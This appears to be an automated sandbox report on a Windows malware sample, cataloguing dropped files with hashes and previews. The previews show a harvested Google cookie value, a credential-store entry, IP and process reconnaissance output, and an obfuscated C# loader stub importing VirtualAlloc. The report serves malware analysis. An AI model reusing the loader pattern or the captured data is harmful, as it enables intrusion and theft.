                                      Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1483705" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):11606
                                      Entropy (8bit):4.883977562702998
                                      Encrypted:false
                                      SSDEEP:192:h9smd3YrKkGdcU6CkVsm5emla9sm5ib4q4dVsm5emdjxoeRjp5Kib4nVFn3eGOVo:ySib4q4dvEib4nVoGIpN6KQkj2frkjhQ
                                      MD5:243581397F734487BD471C04FB57EA44
                                      SHA1:38CB3BAC7CDC67CB3B246B32117C2C6188243E77
                                      SHA-256:7EA86BC5C164A1B76E3893A6C1906B66A1785F366E092F51B1791EC0CC2AAC90
                                      SHA-512:1B0B1CD588E5621F63C4AACC8FF4C111AD9148D4BABE65965EC38EBD10D559A0DFB9B610CA3DF1E1DD7B1842B3E391D6804A3787B6CD00D527A660F444C4183A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PSMODULECACHE.....7.t8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1........SafeGetCommand........Get-ScriptBlockScope....$...Get-DictionaryValueFromFirstKeyFound........New-PesterOption........Invoke-Pester........ResolveTestScripts........Set-ScriptBlockScope.........w.e...a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Uninstall-Package........Set-PackageSource........Get-PackageSource........Find-Package........Register-PackageSource........Import-PackageProvider...........e...[...C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Set-PackageSource........Unregister-PackageSource........Get-PackageSource........Install-Package........Save-Package........Get-Package...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):64
                                      Entropy (8bit):0.9260988789684415
                                      Encrypted:false
                                      SSDEEP:3:Nlllulb/lj:NllUb/l
                                      MD5:13AF6BE1CB30E2FB779EA728EE0A6D67
                                      SHA1:F33581AC2C60B1F02C978D14DC220DCE57CC9562
                                      SHA-256:168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
                                      SHA-512:1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:@...e................................................@..........

                                      C:\Users\user\AppData\Local\Temp\11D3.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:ASCII text, with very long lines, with no line terminators
                                      Category:dropped
                                      Size (bytes):378
                                      Entropy (8bit):5.622132112205334
                                      Encrypted:false
                                      SSDEEP:6:YM6jkk4RTu/pU98M7ETSHp926Sfp2LiGteoX51TbDgivd4YMrd71DLE7XGsTQ4D8:YJkk4Ri/p4vE6UxfELi/op1Tt4YYd7JX
                                      MD5:C43011D042577B4134F90BDD1704274A
                                      SHA1:FC1E43859BDD93F4FDF13CA59BD2CA21EAAEA031
                                      SHA-256:D2B818504BFEA630B95C1E6A4953F1F04A3D12A0A6BE97BDF7F6E0AD16810DDA
                                      SHA-512:3901781F972DF85011C8DE5D2BBDE899BC3D5A4C999EFC7BF4807E4E580E365A147BECCC92E45A070417B3CF116B3856E741ABD5A62ACD1F9003FBE1575D6B5C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{"id":0,"agent":"CR","domain":".google.com","expirationDate":1617290552,"hostOnly":false,"httpOnly":true,"name":"NID","path":"/","sameSite":"false","secure":true,"session":false,"storeId":"0","value":"204=XlJ-cT9Xg8DDNcFChe-nUGbxxEez8DRPGzgzUdZjP1JdN2YiNhfyRKFYdvFacUiguPGJxNZQxNzSiNVBcKqtq4ja7gbbvS3qQExvrcATH8SyD8dfy7IhIXh65vwy9wvzcYGB8MPR2c8HHGKEWDbc9DczP4qY4Ggc7D8ZFucZfEc"}

                                      C:\Users\user\AppData\Local\Temp\2DBE.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:Zip archive data, at least v2.0 to extract
                                      Category:dropped
                                      Size (bytes):56273
                                      Entropy (8bit):7.996224357542867
                                      Encrypted:true
                                      SSDEEP:768:IIvyXV5VktP0sPSJdh/3fqEh+B/2DCh/lo14HQB9fT9mDpAcde1hY+9a:gFehSLh/h+BeDC3o2HoZc1Acde1hZa
                                      MD5:5DC0E3690880ACE2DC54CF8FFBB10076
                                      SHA1:93FF765CBF15D91D735A8423A1D708C6A67860E6
                                      SHA-256:DBBD49E56EAB29988406FB2C3BD46DCBD22CFA6DE54163271F6811B87FEEB418
                                      SHA-512:5AAC8C6CF0928098776A2052DF13D6C49D29E91B81AA5F7E2F16F9458A4AD76D448AD55A9174CF9EA7E45B6215AF975C8EFA4416CE126A1AEE7AB1702FAF94E0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PK..............6.T...T......AuthRoot.pfx..Tm.0.T....0.TJ..*.H........T;..T70.T30.T/..*.H........T 0.T....0.T...*.H......0...*.H.......0... ..6..<C.....S.....~.R.e....B5(8@J.....e..dx'..;.g1.0.u...|A^.X.k.}FB..Y."H;....#@...%x..R.". .K..`."...`. .^...1..b.C(.J.I=..pr...}.3\5'...~ro.#...e%d..Eq.2n.}.9L]...o...Me..Q..a....z..A.......J.l.+U..;s.....o....c.....I.hU...E.&X..-..G&(....4.....{..:...k.<|...H...i.g.^........._.9....yB.......&...S.o.....}...../.(......<.R..h.6..+....{...x.J..0r..0.....F."..\.`....'..-.....?..z>.*[..<....t.......?..].?H..".r......./tM....[.e...G..8..../..V.\.U..TK.S.H...S.....;...G!d....s..i&Q+rE..l....c...a.5.3-..._#..42X.D..T.:....XY.*yM..}".e.G3u..}..R.."./...7.....Y....\..$.8z...._>.....^...\.\.v..>...u.E\...S......./.o.u.m.B........ .}..U.X....H.im..zZi...2?......=....Y...L.-.C.w..BB_.C.....R5W.O.Jv..xHhG.K.v_R2..nfD#.\.Y.k4mA.fR.T....y...U-.e....!.BL.L.dY!Y;......"v...<]..H.[..P../......-f.RzV..}..[..Q*~i.....~.G..

                                      C:\Users\user\AppData\Local\Temp\40F3.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):176
                                      Entropy (8bit):4.9239681894053104
                                      Encrypted:false
                                      SSDEEP:3:1D3SBTvox0BXAXH+CDcNY7gwWASAcX4CDcNY7gwWARKaJFvVoXuoxTKXBFvn:klvm4XAXeCQNY7gZASAbCQNY7gZAdJFt
                                      MD5:4ABC70CD59387FD60C0E2BF92362557A
                                      SHA1:A749F9B85477DF3B5AD7D264604C6A33728EEB58
                                      SHA-256:E9759A1EBC69AFDD14F2FE9385F7B102409AB7DE9E6FB067BDD37DEDC1C9FDBD
                                      SHA-512:8B49A2F24DE1BC501282D52BFE22DC90B632C5B2D9A37BA8CAF2AC7AC250430154B59215B1B12AFC1F6E4E4A6177DB39FDDAF9F7933FA2231D9E388A844AB8A1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:type=ED, name=02gdvyuzljfyicmi, address=MicrosoftAccount:target=SSO_POP_Device, server=MicrosoftAccount:target=SSO_POP_Device, port=0, ssl=0, user=02gdvyuzljfyicmi, password=..

                                      C:\Users\user\AppData\Local\Temp\4A44.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:Zip archive data, at least v2.0 to extract
                                      Category:modified
                                      Size (bytes):8487
                                      Entropy (8bit):7.970947171896302
                                      Encrypted:false
                                      SSDEEP:192:9TEyenUOmZdqTpvNU0L8QZgBwskdjIsYKCUdTnlEnKjfWSSsT:ZESOmW11kwssjTtPdTnCnJC
                                      MD5:539C130F1681E39D06C982A34AA12388
                                      SHA1:41E840F5C3852217B3F00635111AD24016F7C299
                                      SHA-256:269513C07D944E511E32FFA4E811647608E2F9F5FA5B254EF79441CEB267A301
                                      SHA-512:AC07F3D21E6CDF2FDA5DBE8DCFE5F6C41C72C123CDE3DB9F0C0739413ACF801C0AA3818935D246E21EBEECFEFFAA913DE8DB4037B7FAB4F3CB63CE780C30F8FA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PK............3;`.. ..2.......FA5.bin.]{s.8...R...?'.Q.^...D)V.9...T.(...........~..OY.......fj.M.?5..F...v:.#....4Q.C. 8A.i.......9N.....>...k<....6H..|$...3]........._.}....|.a.I.|a.xH0.....D...4..S........q.4~>v.`....I..=.#7...'....U...n.... ..2..M...p..G0.}^.$.....{.K.SM....=..`Z..|.n..K.}.p.....ar.c.2/...*.2..........m..zn.p ..(..P<....4..,F.....K+...G...Q...2.*..........=QXD.$J.V.a6.2.....X.4....<.'..0.......M..Q.....=a4.|..a..0?X.7..V....QR..W.U.....I;...|...9.....DU..........u@.C.].&c...(..o.f..<.....Pl2...M+.b=$..:...0.,..gs.......g....#2...;~n.4.{.V..I.\...B.h....B7HG..9...u@pE.0..-..mp..=.-..W^...!MN.]+.}P.=K...r..C.....:..dh.V..(..7......=.v....,..-...z..71c...8T.p.<..NG)............4.4...............(.&....3q(..........!..:......E.}[#E.....\.Y........f_&......2......O[..e.8~...[.aYA{..4~...C3I..zY.9e.?.=.4.. ..(.#--.bW......* ...V..\KM......$-u.".b.=72o.-.B....#H....*`...M...~..3+........^.. xm.Z..'.=.....e.X7.B...M....c.....B..h9....E

                                      C:\Users\user\AppData\Local\Temp\6B3A.bi1

                                      Download File
                                      Process:C:\Windows\System32\cmd.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:modified
                                      Size (bytes):120
                                      Entropy (8bit):4.547063999628148
                                      Encrypted:false
                                      SSDEEP:3:cPaRhARtt7TSjjhThARtuV/gRdUI1/v:oMWbtChWb0gRF/v
                                      MD5:2631AE4F9E9CCDC01D70ED68AB0F989B
                                      SHA1:5FF93FAFEA8B1B967E04763739BE0B934A6BC737
                                      SHA-256:27A4EFC4341C7956B1427BAA9324035ECBB27A5E0E6A43BFE317FEC187D23A38
                                      SHA-512:8A77BEB0ECEFA510E48B1E589755E0FC28DF2CAA71181A606E1726DB6CFAE1FD3CF717A168D245BCC0F9E46AAC8E7F9B481A94749232A34D9A3634756FD5F8E3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Server: dns.opendns.com..Address: 208.67.222.222....Name: myip.opendns.com..Address: 102.129.143.53....-------- ..

                                      C:\Users\user\AppData\Local\Temp\7BC3.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:Zip archive data, at least v2.0 to extract
                                      Category:dropped
                                      Size (bytes):231
                                      Entropy (8bit):5.601847956236109
                                      Encrypted:false
                                      SSDEEP:6:5joNieWOzIwcrwAzbBUQRqnP/00mCMaJbkzuNioFVl+lX:5joNZWfXVXMHVbWuNJaX
                                      MD5:0A1900A12DBF525719231660FF2FEFFD
                                      SHA1:494443C36F9810B620AA11AB135EF9952E2FE7F2
                                      SHA-256:2931389CC9ACAF29BC088B7BB1A0808402390A259A4C55CE39117C51188A9323
                                      SHA-512:0278FD3CA223CAD0D7304EF34D6626CE6855A66C342C83410D2801C5FE100D5A41DF5112B5C9243573B3D6C565AF9FF4BCB023F486EBFC333BC270CC676FB2BE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PK...............w...........0F3.bin..1..0...B...x......X........DF.]..7.3d...NkBx..lnEhns(5...T._.5..F.xE.$4..{.......}.-....A...D...,..=?.HN.C..z..PK.................w.........................0F3.binPK..........5.........

                                      C:\Users\user\AppData\Local\Temp\B95F.bin\AuthRoot.pfx

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):21650
                                      Entropy (8bit):7.992099365582824
                                      Encrypted:true
                                      SSDEEP:384:ZaHIvAJX1PFVVJEIVkWKXPKgKUrhq+SJdh/gnof1qm7XUELo:8IvyXV5VktP0sPSJdh/3fqEM
                                      MD5:EEFF88594DA4B325FE39E6374959E0AC
                                      SHA1:0AD46FFC44467D7BC1870695C982CEB072FA4A8C
                                      SHA-256:6594E8C35E3F466080D4302CD8845F6C9A27F5DE33CF7786B6FF5E9C6070954A
                                      SHA-512:F6D2C3E69FB0A02BE25DF78FBF55B01B22B834A483ED01AC4E212F77F4720837272DEFD85DA043AB6FB8E39D2CC3DC604BADA93E755C0FC27AD17A65C6CBD912
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:0.T....0.TJ..*.H........T;..T70.T30.T/..*.H........T 0.T....0.T...*.H......0...*.H.......0... ..6..<C.....S.....~.R.e....B5(8@J.....e..dx'..;.g1.0.u...|A^.X.k.}FB..Y."H;....#@...%x..R.". .K..`."...`. .^...1..b.C(.J.I=..pr...}.3\5'...~ro.#...e%d..Eq.2n.}.9L]...o...Me..Q..a....z..A.......J.l.+U..;s.....o....c.....I.hU...E.&X..-..G&(....4.....{..:...k.<|...H...i.g.^........._.9....yB.......&...S.o.....}...../.(......<.R..h.6..+....{...x.J..0r..0.....F."..\.`....'..-.....?..z>.*[..<....t.......?..].?H..".r......./tM....[.e...G..8..../..V.\.U..TK.S.H...S.....;...G!d....s..i&Q+rE..l....c...a.5.3-..._#..42X.D..T.:....XY.*yM..}".e.G3u..}..R.."./...7.....Y....\..$.8z...._>.....^...\.\.v..>...u.E\...S......./.o.u.m.B........ .}..U.X....H.im..zZi...2?......=....Y...L.-.C.w..BB_.C.....R5W.O.Jv..xHhG.K.v_R2..nfD#.\.Y.k4mA.fR.T....y...U-.e....!.BL.L.dY!Y;......"v...<]..H.[..P../......-f.RzV..}..[..Q*~i.....~.G..cK.N..C.........Q....:(._z.......D..E..*

                                      C:\Users\user\AppData\Local\Temp\B95F.bin\Root.pfx

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):34394
                                      Entropy (8bit):7.994834342667711
                                      Encrypted:true
                                      SSDEEP:768:x+B/2DCh/lo14HQB9fT9mDpAcde1+Y+9Z:x+BeDC3o2HoZc1Acde1+ZZ
                                      MD5:7FE5F5AC1F494905135D4F9136F36DF9
                                      SHA1:F75961839A75173ABD93DAA642D40EB632E783ED
                                      SHA-256:DDCFE245FFA184EE824AE4CA264CC95448204CF1F8CAD426751E519C81E73D85
                                      SHA-512:4A499B0197DDD32CBB7BB35DA229652F1F73B3590CBC8832C93916BBBEDC406C5A14296FD41714EA8BBFDE89DDA815BD6E002E5C38AC63FEE1308E984D6B886D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:0..V...0.....*.H..............0...0.....*.H..........0......0.....*.H......0...*.H.......0.......BgI........$.0J?..iq8..G...Qn..8b`..SM..L../..p..Q-ua.>B....]...G.;5.1kO..Go..).7#.Y..U.&$/rwR............2..y.c..o.(......kbz7...>\<... .....o....FAsu..m...'l......)..a.Gh......a.8AK._p.c.....(.E`QP..V.........ld^n..+.cBb.......?.$...E(...d2.v.......#Ew.Gl...|.\..{.elA.#.@M.I..(~...j7.!.*K.x5.z.q%...=.4.iS.d..{>4.9.J.+..$3V.N8..<3G.BU.g.....DCGF....Q..9.v'.2..s0.v@....}i.n...4..."5..-:...^kSBF..F...z...........Sz..|.[.1.-,..>.c.6.3.J...TX......-0]s..>a.s.x'....}i..S.`.n1...#,L.kJ...JN.....Q..................Qe....6GIQH.....~:....Kz._...XbdT'0&.......D.m....9..C.......uoJp........e.d.}.....G.M4..+.k.........+..1.c,........j.f./....|.d$.QGR..78..[=.$...E...l..>]8%n]/(g......}..m.._.T....8G>Bh....)v`..F.....6..P......5.O.7.yoK......$&.|.EIh.].....\8.=...G...+./..H.&.;..bE.....JK)tCr.u`M.........Sf..S.....w.\E{c....)....b.#p...F.}.../*..0....FGt._h].

                                      C:\Users\user\AppData\Local\Temp\DFA5.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):48690
                                      Entropy (8bit):4.015795177782428
                                      Encrypted:false
                                      SSDEEP:768:UtEa4IDsCk1CIZgZ8FUGmqrM2o1r7RkQ6OuQVvS/sTkwOieV9gwoLbRdx7yTnaCR:UtEa4IDsCk1CIZgZ8FU1qrM2o1r7RkQg
                                      MD5:4E1FB3CA94AF45A0C0E85F8C5A0D21DB
                                      SHA1:5C109AF75612FF843ABA3B97BB059CC1255A8C06
                                      SHA-256:CA7A394296EA102FB001F075DB439C2B9FD0431209CF9B2A4A31C976E93EF053
                                      SHA-512:05B3D071FD36C5B8233BC071EB2BEC42C78359955DAD94327A32971CA5DA27BFA1C675227896C492A79B6CF6152251D39C22775FF6D663FAC54F8A986E9B8DAC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-------- ..-------- ..Server: dns.google..Address: 8.8.8.8....-------- ....Image Name PID Services ..========================= ======== ============================================..System Idle Process 0 N/A ..System 4 N/A ..Registry 88 N/A ..smss.exe 296 N/A ..csrss.exe 404 N/A ..wininit.exe 480 N/A ..csrss.exe 496 N/A ..winlogon.exe 576 N/A ..services.exe 588 N/A ..lsass.exe 6

                                      C:\Users\user\AppData\Local\Temp\DFA5.bin1

                                      Download File
                                      Process:C:\Windows\System32\cmd.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:modified
                                      Size (bytes):64
                                      Entropy (8bit):3.7032231490673295
                                      Encrypted:false
                                      SSDEEP:3:111QQL/vMPOJGQRtnV:LuE/vY3QbnV
                                      MD5:A6C80D7ABE59ABCD1A9B8FFF2EA68C13
                                      SHA1:57745CEDDB11D61B8F6713C0E65B67041476DBC8
                                      SHA-256:0C10B4BB1CE8C0DE6A6FD6927D406C9C27A0F9193D6DFC2615D5FF4CBCC53B54
                                      SHA-512:B41FF8FF7305709880BFB9EC4690F8C43E61CC0AB02954E3C5D4776EFFBDD58AB3BDD7A54BB769C3AFE63DA2B6187C0E78CB8D0C9407D580D3E533AB07B1D117
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-------- ..-------- ..Server: dns.google..Address: 8.8.8.8....

                                      C:\Users\user\AppData\Local\Temp\FFD3.bin

                                      Download File
                                      Process:C:\Windows\explorer.exe
                                      File Type:Zip archive data, at least v2.0 to extract
                                      Category:dropped
                                      Size (bytes):413
                                      Entropy (8bit):6.804176990395002
                                      Encrypted:false
                                      SSDEEP:12:5jdFRkhQ/Pxdl0wjDlSZ06m2PHneb3Vd/QRgYnEao:9tJxMOoZDP0ldIgr
                                      MD5:45D77B0EBA063618E5E195F23C7D7F6A
                                      SHA1:E1F6524F830F7CDB001DFA016D37B83DF5F947DB
                                      SHA-256:BF12815E117D1386AABFC1467EA256EB6A2015CB4F92E1FDE02799B2986BD6A1
                                      SHA-512:4F5959EDA2F608053EE72206FB0393F94D1C004FE012635EB7A5A68D8A5617749BF0CD7647BC1EA1AAF51DC9378FDDC64C99CBD0229D9994C8ADBDAE0C61C83E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:PK............M..6-...z.......1D3.bin=..r.0...%k.HQ~f.....R.m.].!.A...t.....=......X..i..%...X.`...X!..%......I.e5., .....\.ui..' +..^..0R.7D.............MW.3.......{..5..&.bC.F.|.7...#.....P..]YR^N.v....j...ZgdZ...M2j....$:{.m..!s.t.wV.t..GF[...n...1`....*^)g..8..jo.]._..-......d.)[.......J{.|.k...3?a.u.GO.B.X.Zd.8JM....PK..............M..6-...z.....................1D3.binPK..........5...R.....

                                      C:\Users\user\AppData\Local\Temp\RES5B2D.tmp

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                      File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols
                                      Category:dropped
                                      Size (bytes):1336
                                      Entropy (8bit):4.016433142954216
                                      Encrypted:false
                                      SSDEEP:24:HeMm9maw8Z2cigIaHohKdNwI+ycuZhNluakSavPNnq9Sd:+RnI+tKKdm1ulga3sq9C
                                      MD5:F53B3E94AB4B81FE3036DF4A0D4AE4E4
                                      SHA1:134B577D44E8342C5BB6B4932242F9054F0FAE77
                                      SHA-256:040D9B2AC93287D911754B897FEF6DE753C6F0A9C31EC8005BD3AAFC8923E54A
                                      SHA-512:B641D8EBBC5892CECC8ADACC7B8726A1085F1B08E3B587F796C4F41F71C21AA5C9E345E05FFC6AD6A39FA17361BC6A5EC5932C0E9285A30C93EF1D50C36DAB50
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:L...!7cb.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........W....c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP................../.G..e..j.'.............7.......C:\Users\user\AppData\Local\Temp\RES5B2D.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.q.k.y.o.h.g.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                      C:\Users\user\AppData\Local\Temp\RES71E1.tmp

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                      File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols
                                      Category:dropped
                                      Size (bytes):1336
                                      Entropy (8bit):3.9806725258664444
                                      Encrypted:false
                                      SSDEEP:24:H0Mm9ma1yxaHtuYhKdNwI+ycuZhNDakSFPNnq9Sd:S1b9Kdm1ulDa3fq9C
                                      MD5:DFCE1EDE6575FA8A45FF5365C73F9367
                                      SHA1:BEF2FE0E278050F95CA7C98F499268CDF8E1ECBC
                                      SHA-256:DEAD38723128D1587241794DBC0F1458D85DDD9E3CEC86E280A50245D8CC626E
                                      SHA-512:7E2D757A24C9EB89026780322925C1D551E574C7F1406F7839A59AFC7033E0E43060BAFCAC2F6F65DF9C7C9D32C0BF574DB724E1839321A4DA0644CBE5A98415
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:L...'7cb.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........W....c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP................k.......T*..............7.......C:\Users\user\AppData\Local\Temp\RES71E1.tmp.-.<...................'...Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.2.l.e.t.r.f.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q3t4dtxl.aez.ps1

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqgxvc3t.uvk.psm1

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      File Type:MSVC .res
                                      Category:dropped
                                      Size (bytes):652
                                      Entropy (8bit):3.073877277863502
                                      Encrypted:false
                                      SSDEEP:12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryhak7YnqqFPN5Dlq5J:+RI+ycuZhNDakSFPNnqX
                                      MD5:6BA6B2A9CFD6C07F542AD687BC0EE9A8
                                      SHA1:9BCE95C6A558409C0D0CFDB4A81E5DD935E20D30
                                      SHA-256:239FD9FB49A112AC318CD9CD14C6B887F115D95BD7F6D54C3C9EE5209FFB1AE8
                                      SHA-512:7829AD12B62061B2A8B485209A44EACCBDF55A35A6E52FC3B670B3DA125B1C26F407A047CA5736D6A20F9FA17F7AE2A72614669C36FD248D44481F162BABDAE0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.2.l.e.t.r.f.e...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...g.2.l.e.t.r.f.e...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                      C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.0.cs

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:UTF-8 Unicode (with BOM) text
                                      Category:dropped
                                      Size (bytes):417
                                      Entropy (8bit):5.038440975503667
                                      Encrypted:false
                                      SSDEEP:6:V/DsYLDS81zuJlmMRSRa+eNMjSSRr/++5xVBuSRNA5cWGQRZry:V/DTLDfu09eg5rG+5zBlK5Ny
                                      MD5:AE91D1351B9FB773FEF9B6F31D0A22EE
                                      SHA1:323F9FAD2F10ABDC97A7BF643A35DE67E3A32E31
                                      SHA-256:2CEDA574437717CB5084A6D8315F059002F22D45837C60C003F1F09BB0A72DCD
                                      SHA-512:94C098F8D6FA16950D6CC582D7303D6B1383126C8DB3AA1C85D7E4E155143E2A4E42B3C96A7B5EFAA53CA3AA8A81CDB97B641D1F4521C67456158C32046A8E23
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class omrgvusmwh. {. [DllImport("kernel32")].public static extern IntPtr GetCurrentProcess();.[DllImport("kernel32")].public static extern void SleepEx(uint ooyvxktqmjp,uint oshbdrwt);.[DllImport("kernel32")].public static extern IntPtr VirtualAlloc(IntPtr payqgxim,uint tthajtdrqfh,uint vcyatdpvykk,uint vnrytmsowy);.. }..}.

